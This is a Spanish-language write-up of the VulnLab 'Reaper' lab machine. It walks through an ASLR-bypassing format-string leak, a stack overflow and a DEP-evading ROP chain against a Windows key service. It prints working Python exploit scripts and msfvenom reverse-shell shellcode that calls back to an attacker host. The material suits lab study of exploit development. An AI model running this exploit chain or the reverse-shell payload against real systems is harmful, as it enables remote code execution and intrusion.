xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



VulnLab

Reaper



Enumeración


Iniciamos la máquina escaneando los puertos de la máquina con nmap donde encontramos varios puertos abiertos, entre ellos el 21 que corre un servicio ftp

❯ nmap 10.10.122.10
Nmap scan report for 10.10.122.10  
PORT     STATE SERVICE
21/tcp   open  ftp
80/tcp   open  http
3389/tcp open  ms-wbt-server
4141/tcp open  oirtgsvc
5357/tcp open  wsdapi

Esta abierto el puerto 80 con un servicio http sin embargo si lo abrimos la web en el navegador nos muestra simplemente la página que viene por defecto en los IIS

Ya que esta abierto iniciaremos por conectarnos a ftp, en este caso admite la autenticacion por defecto del usuario anonymous sin proporcionar contraseña

❯ ftp 10.10.122.10
Connected to 10.10.122.10.
220 Microsoft FTP Service
Name (10.10.122.10:user): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.  
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp>

Dentro encontramos 2 archivos, un archivo .exe y un .txt, descargamos ambos

ftp> dir
229 Entering Extended Passive Mode (|||5005|)
125 Data connection already open; Transfer starting.   
08-14-23  11:12PM                  262 dev_keys.txt
08-14-23  01:53PM               187392 dev_keysvc.exe
226 Transfer complete.
ftp>

Al ejecutar el binario muestra que se ha iniciado un servidor en el puerto 4141

PS C:\Users\user\Desktop> .\dev_keysvc.exe  
Server listening on port 4141

Además del binario se nos otorga un archivo .txt que contiene algunas keys las cuales parece que son para alguna funcionalidad que aun se encuentra en desarrollo

❯ cat dev_keys.txt
Development Keys:

100-FE9A1-500-A270-0102-U3RhbmRhcmQgTGljZW5zZQ==
101-FE9A1-550-A271-0109-UHJlbWl1bSBMaWNlbnNl
102-FE9A1-500-A272-0106-UHJlbWl1bSBMaWNlbnNl

The dev keys can not be activated yet, we are working on fixing a bug in the activation function.  

Al conectarnos con netcat al puerto 4141 podemos ver un menú de opciones, la opción 1 pide una key, al introducir una de las del .txt nos devuelve que es un formato valido, la opción 2 muestra 23 bytes de la key y un comentario interesante

❯ netcat 192.168.100.5 4141  
Choose an option:
1. Set key
2. Activate key
3. Exit
1
Enter a key: 100-FE9A1-500-A270-0102-U3RhbmRhcmQgTGljZW5zZQ==
Valid key format
Choose an option:
1. Set key
2. Activate key
3. Exit
2
Checking key: 100-FE9A1-500-A270-0102, Comment: Standard License  
Could not find key!
Choose an option:
1. Set key
2. Activate key
3. Exit

El comentario de la opción 2 proviene de la data en base64 después de 24 bytes

❯ echo U3RhbmRhcmQgTGljZW5zZQ== | base64 -d  
Standard License


Shell - keysvc


Para poder depurar el programa facilmente abriremos la aplicación dentro de WinDbg

Si miramos los detalles del módulo podemos ver que contienes las protecciones DEP y ASLR, el primero impide que podamos ejecutar un shellcode en el stack, el segundo indica que la dirección base del binario deberia cambiar después de cada reinicio

0:000> !py mona modules
Hold on...
[+] Command used:
!py C:\Users\user\Documents\WinDbgX\amd64\mona.py modules

[+] Processing arguments and criteria
    - Pointer access level : X
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------  
 Module info :
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------  
 Base               | Top                | Size               | Rebase | SafeSEH | ASLR  | CFG   | NXCompat | OS Dll | Modulename & Path
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------  
 0x00007ffdf23b0000 | 0x00007ffdf2767000 | 0x00000000003b7000 | True   | True    | True  | True  |  True    | True   | [KERNELBASE.dll] (C:\Windows\System32\KERNELBASE.dll) 
 0x00007ffdf1300000 | 0x00007ffdf1369000 | 0x0000000000069000 | True   | True    | True  | True  |  True    | True   | [mswsock.dll] (C:\Windows\system32\mswsock.dll)
 0x00007ff651920000 | 0x00007ff651953000 | 0x0000000000033000 | True   | True    | True  | False |  True    | False  | [dev_keysvc.exe] (ReaperKeyCheck.exe)
 0x00007ffdf3c60000 | 0x00007ffdf3d24000 | 0x00000000000c4000 | True   | True    | True  | True  |  True    | True   | [KERNEL32.DLL] (C:\Windows\System32\KERNEL32.DLL)
 0x00007ffdf4b30000 | 0x00007ffdf4d47000 | 0x0000000000217000 | True   | True    | True  | True  |  True    | True   | [ntdll.dll] (ntdll.dll)
 0x00007ffdf4810000 | 0x00007ffdf4924000 | 0x0000000000114000 | True   | True    | True  | True  |  True    | True   | [RPCRT4.dll] (C:\Windows\System32\RPCRT4.dll)
 0x00007ffdf4740000 | 0x00007ffdf47b1000 | 0x0000000000071000 | True   | True    | True  | True  |  True    | True   | [WS2_32.dll] (C:\Windows\System32\WS2_32.dll)
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------  

[+] Preparing output file 'modules.txt'
    - (Re)setting logfile C:\mona\modules.txt

La función main inicia llamando a la función WSAStartup para inicializar winsock y luego llama a la función socket para crear un socket y este devuelve un descriptor

Luego utiliza htons para darle formato al puerto 4141 y posteriormente llamar a bind y listen para ponerse en escucha de conexiones entrantes en ese puerto

Luego de llamar a accept si sale bien llama a la función beginthreadex para crear un hilo por cada conexión que ejecuta la función StartAddress pasandole el descriptor

El primer bloque de la función StartAddress inicia reservando algunos espacios de memoria con VirtalAlloc, luego de ello define una variable menu con una string

Después llama a send para enviar el menú y pide un buffer de 2 bytes con recv para obtener una opción, la cual definirá mediante un switch que operaciones realizar

Si la opción que se recibió es igual a la string 1 utiliza recv de nuevo para recibir la key, luego de ello llama a la función checksum que si devuelve 1 indica que la key tiene un formato válido de lo contrario inválido, esto último lo muestra con send

En lugar de crear una key sabemos que usando la primera key del .txt es válida

Choose an option:
1. Set key
2. Activate key
3. Exit
1
Enter a key: 100-FE9A1-500-A270-0102-U3RhbmRhcmQgTGljZW5zZQ==  
Valid key format
Choose an option:
1. Set key
2. Activate key
3. Exit

Al comparar la opción con 2 llama a una función llamada check que si devuelve 1 encontró la key de lo contrario devuelve 0 y muestra con send que no se encontró

Al finalizar llena 0x1000 bytes de la variable buffer utilizando 0's llamando a memset

Si la opción es igual a la string 3 muestra un mensaje con puts y sale del programa

La función checksum compara que la clave sea mayor o igual a 23 bytes, si es asi inicia una variable csum a 0 igual que un iterador llamado i para iniciar un bucle

El bucle verifica que entre las posiciones 4 y 8 los caracteres sean imprimibles, osea que los bytes no sean menores o iguales a 0x20 ni mayores iguales a 0x7f

La siguiente validación es que las posiciones 4, 10, 14 y 19 sean iguales a un -

Para los caractéres antes de la posición 19 se acumula su valor ascii menos 0x30 o 0 en ascii, esto lo hace para comprobar que los caracteres relevantes son dígitos

La variable result almacena los últimos cuadro dígitos del módulo de csum % 10000, luego utiliza strtol y ckey toma el valor numérico a partir del caractér 19, osea los últimos 4 digitos de la clave, si la variable result es igual a ckey se retorna 1

La función check llama a una función llamada checking pasandole la key y abre un archivo keys.txt con fopen, si sale bien inicializa una variable found en 0

Luego inicia un bucle en el que lee 0x1000 bytes del archivo con fgets, encuentra la posición del caracter \n y lo reemplaza por \0, compara que la clave key sea igual que la linea actual del archivo buffer, si es igual cambia el valor de found a 1

La función inicia guardando en la variable b64 la dirección de key mas 0x18, en esta dirección inicia la cadena en base64, luego llama a la función base64 que restaura la string original, mas adelante llama a vsprintf para guardar al inicio del buffer la cadena Checking key, este buffer es el inicio de la string que se enviará

Establecemos un breakpoint en el call, si enviamos la key el primer argumento apunta al buffer mas 24 bytes donde se encuentra la string en base64, en rdx se almacena la longitud de la string y finalmente en r8 un puntero hacia el size

0:000> bp ReaperKeyCheck + 0x1604

0:000> g
Breakpoint 0 hit
ReaperKeyCheck+0x1604:
00007ff6`51921604 e8c7fcffff      call    ReaperKeyCheck+0x12d0 (00007ff6`519212d0)  

0:000> da rcx
000001bb`f1f50018  "U3RhbmRhcmQgTGljZW5zZQ=="

0:000> r rdx
rdx=0000000000000019

0:000> dqs r8 L1
00000086`5c8fe6b0  00000000`00000000

Al ejecutar el call el valor de retorno en rax es un puntero a la cadena decodeada

0:000> p
ReaperKeyCheck+0x1609:
00007ff6`51921609 4889442438      mov     qword ptr [rsp+38h],rax ss:00000086`5c8fe6b8=00af00ae20040125  

0:000> da rax
000001bb`f1e17950  "Standard License"

Luego utiliza la función snprintf para guardar en la posición 14 del buffer lo que le pasemos como key, esto podria ocasionar una vulnerabilidad de tipo format string

Además de ello utiliza la función memmove para mover el contenido en base64 ya decodificado a un nuevo buffer sin sanitización ocasionando un buffer overflow

Iniciamos la primera vulnerabilidad, en la opción 1 enviamos los primeros 24 bytes de la key para validarla, luego la reemplazamos con el formato %p que deberia hacer un leak de un puntero explotando el format string, luego de ello usamos la opción 2

Choose an option:
1. Set key
2. Activate key
3. Exit
1
Enter a key: 100-FE9A1-500-A270-0102-  
Valid key format
Choose an option:
1. Set key
2. Activate key
3. Exit
1
Enter a key: %p
Invalid key format
Choose an option:
1. Set key
2. Activate key
3. Exit
2

Cuando llegamos al breakpoint en la llamada a la función send que envia el buffer, en la posición 14 podemos ver que se remplaza el %p por un puntero como cadena

0:000> bp ReaperKeyCheck + 0x16e3

0:000> g
Breakpoint 1 hit
ReaperKeyCheck+0x16e3:
00007ff6`519216e3 ff15bfeb0100    call    qword ptr [ReaperKeyCheck+0x202a8 (00007ff6`519402a8)] ds:00007ff6`519402a8={WS2_32!send (00007ffd`f47428c0)}  

0:000> db rdx
0000008a`0fefeb50  43 68 65 63 6b 69 6e 67-20 6b 65 79 3a 20 30 30  Checking key: 00
0000008a`0fefeb60  30 30 37 46 46 36 35 31-39 34 30 36 36 30 0a 2d  007FF651940660.-
0000008a`0fefeb70  46 45 39 41 31 2c 20 43-6f 6d 6d 65 6e 74 3a 20  FE9A1, Comment:
0000008a`0fefeb80  00 30 32 2d 00 00 00 00-00 00 00 00 00 00 00 00  .02-............
0000008a`0fefeb90  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0000008a`0fefeba0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0000008a`0fefebb0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0000008a`0fefebc0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

El puntero que se mostrará como leak en el format string apunta a una cadena y es parte del binario, especificamente muestra la base mas offset 0x20660, si restamos este offset obtenemos la base del binario, con ello podemos bypassear el ASLR

0:000> da 0x007ff651940660
00007ff6`51940660  "Checking key: "

0:000> lm m ReaperKeyCheck
Browse full module list
start             end                 module name
00007ff6`51920000 00007ff6`51953000   ReaperKeyCheck C (no symbols)  

0:000> ? 0x007ff651940660 - 0x00007ff651920000
Evaluate expression: 132704 = 00000000`00020660

Automatizamos este proceso en un script de python, primero validamos la key, luego sobrescribimos la key por un %p que muestra un leak y al restar el offset muestra la dirección base del binario, podemos simplemente comprobarlo al ejecutar el exploit

#!/usr/bin/python3
from pwn import remote, log

shell = remote("192.168.100.5", 4141)

shell.sendlineafter(b"Exit\n", b"1")
shell.sendlineafter(b"key: ", b"100-FE9A1-500-A270-0102-")  
shell.sendlineafter(b"Exit\n", b"1")
shell.sendlineafter(b"key: ", b"%p")
shell.sendlineafter(b"Exit\n", b"2")
shell.recvuntil(b"Checking key: ")

binary_base = int(shell.recvline().strip(), 16) - 0x20660
log.info(f"Binary base: {hex(binary_base)}")

shell.interactive()

❯ python3 exploit.py
[+] Opening connection to 192.168.100.5 on port 4141: Done  
[*] Binary base: 0x7ff651920000
[*] Switching to interactive mode
Could not find key!
Choose an option:
1. Set key
2. Activate key
3. Exit
$

Una vez solucionado el ASLR saltamos a la siguiente vulnerabilidad, definimos como payload 100 bytes creados con cyclic para encontrar el offset, luego hace un encode de la cadena en base64 y la envía ocasionando un buffer overflow

#!/usr/bin/python3
from pwn import remote, cyclic, base64

shell = remote("192.168.100.5", 4141)

payload  = b""
payload += cyclic(100, n=8)

shell.sendlineafter(b"Exit\n", b"1")
shell.sendlineafter(b"key: ", b"100-FE9A1-500-A270-0102-" + base64.b64encode(payload))  
shell.sendlineafter(b"Exit\n", b"2")

Al ejecutar el exploit podemos mirar en el debugger que el programa corrompe en el ret e intenta retornar a una dirección que es parte de la cadena cyclic

0:000> g
(34c0.3524): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.
ReaperKeyCheck+0x16f1:
00007ff6`519216f1 c3              ret

0:000> dq rsp L1
0000005f`862fe658  61616161`6161616c

Ahora calculamos el offset que deberian ser 88 bytes para llegar al return address

❯ cyclic -n 8 -l 0x616161616161616c  
88

Para comprobar que sea el offset correcto escribimos el siguiente exploit, ahora el payload inicia llenando con 88 A's el offset antes del return address, luego envia B's como dirección de retorno y algunas C's que se almacenarán en el stack

#!/usr/bin/python3
from pwn import remote, cyclic, base64

shell = remote("192.168.100.5", 4141)

offset = 88
junk = b"A" * offset

payload  = b""
payload += junk
payload += b"B" * 8
payload += b"C" * 24

shell.sendlineafter(b"Exit\n", b"1")
shell.sendlineafter(b"key: ", b"100-FE9A1-500-A270-0102-" + base64.b64encode(payload))  
shell.sendlineafter(b"Exit\n", b"2")

Al correrlo nuevamente corrompe pero si miramos el debugger ahora intenta retornar a 0x4242424242424242 que son las B's y en el stack se almacenan los otros bytes

0:000> g
(366c.2d98): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.
ReaperKeyCheck+0x16f1:
00007ff6`519216f1 c3              ret

0:000> dqs rsp L4
0000006c`745fec88  42424242`42424242
0000006c`745fec90  43434343`43434343
0000006c`745fec98  43434343`43434343
0000006c`745feca0  43434343`43434343

Algo a tener en cuenta es el DEP ya que en una explotación sencilla saltariamos al stack con un gadget equivalente a jmp rsp pero esta protección hace que el stack no sea ejecutable complicando el proceso, podemos probar evadirlo con un ropchain

0:000> !vprot rsp
BaseAddress:       0000006c745fe000
AllocationBase:    0000006c74500000
AllocationProtect: 00000004  PAGE_READWRITE  
RegionSize:        0000000000002000
State:             00001000  MEM_COMMIT
Protect:           00000004  PAGE_READWRITE  
Type:              00020000  MEM_PRIVATE

Entre las funciones que podemos utilizar para evadir DEP se encuentra VirtualAlloc, la podemos encontrar el offset 0x20000 del binario, podemos comprobar desde el debugger que esta la dirección es una referencia a su dirección dentro de kernel32

0:000> dqs ReaperKeyCheck + 0x20000 L1
00007ff6`51940000  00007ffd`f3c73bf0 KERNEL32!VirtualAllocStub  

La función VirtualAlloc nos servirá para cambiar los privilegios del stack ya que reserva un espacio en memoria, lo mas relevante es que en el primer argumento podemos indicar la dirección donde queremos hacerlo y con el último la protección

LPVOID VirtualAlloc(
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,  
  [in]           DWORD  flProtect
);

En el lpAddress podemos pasar la dirección del rsp donde iniciaremos, en el dwSize usaremos 0x1 que reservará una página, en flAllocationType pasaremos MEM_COMMIT o 0x1000 y finalmente en flProtect usaremos 0x40 que es igual a PAGE_EXECUTE_READ_WRITE, de esta forma se nos permitiría ejecutar el shellcode

VirtualAlloc($rsp, 0x1, 0x1000, 0x40);  

Nuestra idea será establecer estos valores en los registros rcx, rdx, r8 y r9 que corresponden a la convención de llamadas, para buscar gadgets usaremos ropper

❯ ropper --file dev_keysvc.exe -I 0x0 --console
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
(dev_keysvc.exe/PE/x86_64)> search pop rax; ret;  
[INFO] Searching for gadgets: pop rax; ret;

[INFO] File: dev_keysvc.exe
0x000000000000150a: pop rax; ret;

(dev_keysvc.exe/PE/x86_64)>

En el registro rcx debemos guardar la dirección del rsp, podemos usar el gadget xor rbx, rsp y si rbx vale 0 tomará el valor de rsp, luego lo movemos a rcx

# $rcx = $rsp
rop += p64(binary_base + 0x020d9) # pop rbx; ret;
rop += p64(0x0)                   # key for xor
rop += p64(binary_base + 0x01fa0) # xor rbx, rsp; ret;
rop += p64(binary_base + 0x01fc2) # push rbx; pop rax; ret;  
rop += p64(binary_base + 0x01f80) # mov rcx, rax; ret;

En rdx debemos guardar 0x1, existe el gadget mov rdx, r13 y podemos guardar valores en r13 con un pop pero termina con un call rax para ello guardaremos en el registro rax el gadget pop rax; ret; que solo saltará al siguiente gadget

# $rdx = 0x1
rop += p64(binary_base + 0x0150a) # pop rax; ret;
rop += p64(binary_base + 0x0150a) # pop rax; ret;
rop += p64(binary_base + 0x047b3) # pop r13; ret;
rop += p64(0x1)                   # dwSize
rop += p64(binary_base + 0x0368f) # mov rdx, r13; call rax;  

Nuestra cadena carga el valor a rbx que luego lo mueve a r9 y establece r8 a 0, finalmente añade el valor de r9 al registro r8 dejando así en este un 0x1000

# $r8 = 0x1000
rop += p64(binary_base + 0x020d9) # pop rbx; ret;
rop += p64(0x1000)                # flAllocationType
rop += p64(binary_base + 0x01f90) # mov r9, rbx; mov r8, 0; add rsp, 8; ret;  
rop += p64(0x0)                   # padding for pop
rop += p64(binary_base + 0x03918) # add r8, r9; add rax, r8; ret;

Para cargar un valor a r9 podemos usar el gadget cmove r9, rdx pero esta solo se ejecuta si se activa una flag, podemos activar la flag zf con un xor rax, rax y podemos usar la cadena rop que armamos desde antes para cargar el valor a rdx

# $r9 = 0x40
rop += p64(binary_base + 0x0150a) # pop rax; ret;
rop += p64(binary_base + 0x0150a) # pop rax; ret;
rop += p64(binary_base + 0x047b3) # pop r13; ret;
rop += p64(0x40)                  # flProtect
rop += p64(binary_base + 0x0368f) # mov rdx, r13; call rax;
rop += p64(binary_base + 0x1f27f) # xor rax, rax; ret;
rop += p64(binary_base + 0x1f37d) # cmove r9, rdx; mov rax, r9; ret;  

Ahora que ya establecimos los argumentos en sus respectivos registros podemos simplemente saltar a la función VirtualAlloc, entonces al retornar ejecutamos un gadget push rsp; ret; que ejecutará lo que está en el stack como un jmp rsp

# call VirtualAlloc()
rop += p64(binary_base + 0x020d9) # pop rbx; ret;
rop += p64(binary_base + 0x20000) # VirtualAlloc()
rop += p64(binary_base + 0x1ec79) # jmp qword ptr [rbx];

# jmp rsp
rop += p64(binary_base + 0x1becd) # push rsp; and al, 8; ret;  

Nuestro exploit ahora se ve de esta forma, luego del offset enviamos el ropchain, luego de ejecutarla dejamos el retorno a varios qwords de A's, B's y demás

#!/usr/bin/python3
from pwn import remote, p64, base64

shell = remote("192.168.100.5", 4141)

shell.sendlineafter(b"Exit\n", b"1")
shell.sendlineafter(b"key: ", b"100-FE9A1-500-A270-0102-")
shell.sendlineafter(b"Exit\n", b"1")
shell.sendlineafter(b"key: ", b"%p")
shell.sendlineafter(b"Exit\n", b"2")
shell.recvuntil(b"Checking key: ")

binary_base = int(shell.recvline().strip(), 16) - 0x20660

offset = 88
junk = b"A" * offset

rop  = b""
# $r8 = 0x1000
rop += p64(binary_base + 0x020d9) # pop rbx; ret;
rop += p64(0x1000)                # flAllocationType
rop += p64(binary_base + 0x01f90) # mov r9, rbx; mov r8, 0; add rsp, 8; ret;
rop += p64(0x0)                   # padding for pop
rop += p64(binary_base + 0x03918) # add r8, r9; add rax, r8; ret;
# $r9 = 0x40
rop += p64(binary_base + 0x0150a) # pop rax; ret;
rop += p64(binary_base + 0x0150a) # pop rax; ret;
rop += p64(binary_base + 0x047b3) # pop r13; ret;
rop += p64(0x40)                  # flProtect
rop += p64(binary_base + 0x0368f) # mov rdx, r13; call rax;
rop += p64(binary_base + 0x1f27f) # xor rax, rax; ret;
rop += p64(binary_base + 0x1f37d) # cmove r9, rdx; mov rax, r9; ret;
# $rdx = 0x1
rop += p64(binary_base + 0x0150a) # pop rax; ret;
rop += p64(binary_base + 0x0150a) # pop rax; ret;
rop += p64(binary_base + 0x047b3) # pop r13; ret;
rop += p64(0x1)                   # dwSize
rop += p64(binary_base + 0x0368f) # mov rdx, r13; call rax;
# $rcx = $rsp
rop += p64(binary_base + 0x020d9) # pop rbx; ret;
rop += p64(0x0)                   # key for xor
rop += p64(binary_base + 0x01fa0) # xor rbx, rsp; ret;
rop += p64(binary_base + 0x01fc2) # push rbx; pop rax; ret;
rop += p64(binary_base + 0x01f80) # mov rcx, rax; ret;
# call VirtualAlloc()
rop += p64(binary_base + 0x020d9) # pop rbx; ret;
rop += p64(binary_base + 0x20000) # VirtualAlloc()
rop += p64(binary_base + 0x1ec79) # jmp qword ptr [rbx];
# jmp rsp
rop += p64(binary_base + 0x1becd) # push rsp; and al, 8; ret;

shellcode  = b""
shellcode += b"A" * 8
shellcode += b"B" * 8
shellcode += b"C" * 8
shellcode += b"D" * 8
shellcode += b"E" * 8

payload  = b""
payload += junk
payload += rop
payload += shellcode

shell.sendlineafter(b"Exit\n", b"1")
shell.sendlineafter(b"key: ", b"100-FE9A1-500-A270-0102-" + base64.b64encode(payload))  
shell.sendlineafter(b"Exit\n", b"2")

Entonces, cuando llegamos al jmp [rbx] el registro rbx apunta a VirtualAlloc y los argumentos estan establecidos de forma que cambie la protección del rsp

0:000> bp ReaperKeyCheck+0x1ec79

0:000> g
Breakpoint 0 hit
ReaperKeyCheck+0x1ec79:
00007ff6`5193ec79 ff23            jmp     qword ptr [rbx] ds:00007ff6`51940000={KERNEL32!VirtualAllocStub (00007ffd`f3c73bf0)}  

0:000> dqs rbx L1
00007ff6`51940000  00007ffd`f3c73bf0 KERNEL32!VirtualAllocStub

0:000> r rcx
rcx=000000eb131fed08

0:000> r rdx
rdx=0000000000000001

0:000> r r8
r8=0000000000001000

0:000> r r9
r9=0000000000000040

Al llegar al ret de la función VirtualAlloc ahora el rsp deberia tener como protección PAGE_EXECUTE_READ_WRITE lo que nos permitirá ejecutar un shellcode

0:000> pt
KERNELBASE!VirtualAlloc+0x5a:
00007ffd`f240a84a c3              ret

0:000> !vprot rsp
BaseAddress:       000000eb131fe000
AllocationBase:    000000eb13100000
AllocationProtect: 00000004  PAGE_READWRITE
RegionSize:        0000000000001000
State:             00001000  MEM_COMMIT
Protect:           00000040  PAGE_EXECUTE_READWRITE  
Type:              00020000  MEM_PRIVATE

Cuando avanzamos al gadget push rsp; ret; hay 2 qwords en el stack que fueron modificados durante la ejecución por lo que retornará a una dirección inválida

0:000> p
ReaperKeyCheck+0x1becd:
00007ff6`5193becd 54              push    rsp  

0:000> dqs rsp L4
000000eb`131fed38  000000eb`131fe000
000000eb`131fed40  00000000`00001000
000000eb`131fed48  43434343`43434343
000000eb`131fed50  44444444`44444444

Para arreglarlo evitaremos 2 qwords con un add rsp, 0x10 antes de saltar al rsp

# jmp rsp
rop += p64(binary_base + 0x02029) # add rsp, 0x10; ret;
rop += p64(0x0) * 2               # padding for add
rop += p64(binary_base + 0x1becd) # push rsp; and al, 8; ret;  

Ahora al llegar al push rsp; ret; ejecutará los qwords que enviamos como shellcode

0:000> bp ReaperKeyCheck + 0x1becd

0:000> g
Breakpoint 0 hit
ReaperKeyCheck+0x1becd:
00007ff6`5193becd 54              push    rsp  

0:000> dqs rsp L4
00000087`27afee00  41414141`41414141
00000087`27afee08  42424242`42424242
00000087`27afee10  43434343`43434343
00000087`27afee18  44444444`44444444

Luego de ejecutar el ropchain solo nos queda crear un shellcode con msfvenom, en este caso crearemos uno que nos envie una revshell en caso de que se ejecute

❯ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.8.0.100 LPORT=443 -f python -v shellcode  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of python file: 2571 bytes
shellcode =  b""
shellcode += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41"
shellcode += b"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48"
shellcode += b"\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20"
shellcode += b"\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31"
shellcode += b"\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20"
shellcode += b"\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41"
shellcode += b"\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0"
shellcode += b"\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67"
shellcode += b"\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20"
shellcode += b"\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34"
shellcode += b"\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac"
shellcode += b"\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1"
shellcode += b"\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"
shellcode += b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
shellcode += b"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
shellcode += b"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a"
shellcode += b"\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41"
shellcode += b"\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
shellcode += b"\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f"
shellcode += b"\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81"
shellcode += b"\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02"
shellcode += b"\x00\x01\xbb\x0a\x08\x00\x0a\x41\x54\x49\x89"
shellcode += b"\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff"
shellcode += b"\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41"
shellcode += b"\xba\x29\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31"
shellcode += b"\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48"
shellcode += b"\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0"
shellcode += b"\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89"
shellcode += b"\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff"
shellcode += b"\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
shellcode += b"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50"
shellcode += b"\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0\x6a\x0d"
shellcode += b"\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01"
shellcode += b"\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89"
shellcode += b"\xe6\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff"
shellcode += b"\xc0\x41\x50\x49\xff\xc8\x4d\x89\xc1\x4c\x89"
shellcode += b"\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48\x31"
shellcode += b"\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d"
shellcode += b"\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6"
shellcode += b"\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06"
shellcode += b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72"
shellcode += b"\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5"

El exploit inicia obteniendo la dirección base del binario a través del format string, luego explotamos el buffer overflow que hace ejecutable el rsp con el ropchain, al final salta al stack y ejecuta el shellcode que nos enviará una reverse shell

#!/usr/bin/python3
from pwn import remote, p64, base64

shell = remote("192.168.100.5", 4141)

shell.sendlineafter(b"Exit\n", b"1")
shell.sendlineafter(b"key: ", b"100-FE9A1-500-A270-0102-")
shell.sendlineafter(b"Exit\n", b"1")
shell.sendlineafter(b"key: ", b"%p")
shell.sendlineafter(b"Exit\n", b"2")
shell.recvuntil(b"Checking key: ")

binary_base = int(shell.recvline().strip(), 16) - 0x20660

offset = 88
junk = b"A" * offset

rop  = b""
rop += p64(binary_base + 0x020d9) # pop rbx; ret;
rop += p64(0x1000)                # flAllocationType
rop += p64(binary_base + 0x01f90) # mov r9, rbx; mov r8, 0; add rsp, 8; ret;
rop += p64(0x0)                   # padding for pop
rop += p64(binary_base + 0x03918) # add r8, r9; add rax, r8; ret;
rop += p64(binary_base + 0x0150a) # pop rax; ret;
rop += p64(binary_base + 0x0150a) # pop rax; ret;
rop += p64(binary_base + 0x047b3) # pop r13; ret;
rop += p64(0x40)                  # flProtect
rop += p64(binary_base + 0x0368f) # mov rdx, r13; call rax;
rop += p64(binary_base + 0x1f27f) # xor rax, rax; ret;
rop += p64(binary_base + 0x1f37d) # cmove r9, rdx; mov rax, r9; ret;
rop += p64(binary_base + 0x0150a) # pop rax; ret;
rop += p64(binary_base + 0x0150a) # pop rax; ret;
rop += p64(binary_base + 0x047b3) # pop r13; ret;
rop += p64(0x1)                   # dwSize
rop += p64(binary_base + 0x0368f) # mov rdx, r13; call rax;
rop += p64(binary_base + 0x020d9) # pop rbx; ret;
rop += p64(0x0)                   # key for xor
rop += p64(binary_base + 0x01fa0) # xor rbx, rsp; ret;
rop += p64(binary_base + 0x01fc2) # push rbx; pop rax; ret;
rop += p64(binary_base + 0x01f80) # mov rcx, rax; ret;
rop += p64(binary_base + 0x020d9) # pop rbx; ret;
rop += p64(binary_base + 0x20000) # VirtualAlloc()
rop += p64(binary_base + 0x1ec79) # jmp qword ptr [rbx];
rop += p64(binary_base + 0x02029) # add rsp, 0x10; ret;
rop += p64(0x0) * 2               # padding for add
rop += p64(binary_base + 0x1becd) # push rsp; and al, 8; ret;

shellcode =  b""
shellcode += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41"
shellcode += b"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48"
shellcode += b"\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20"
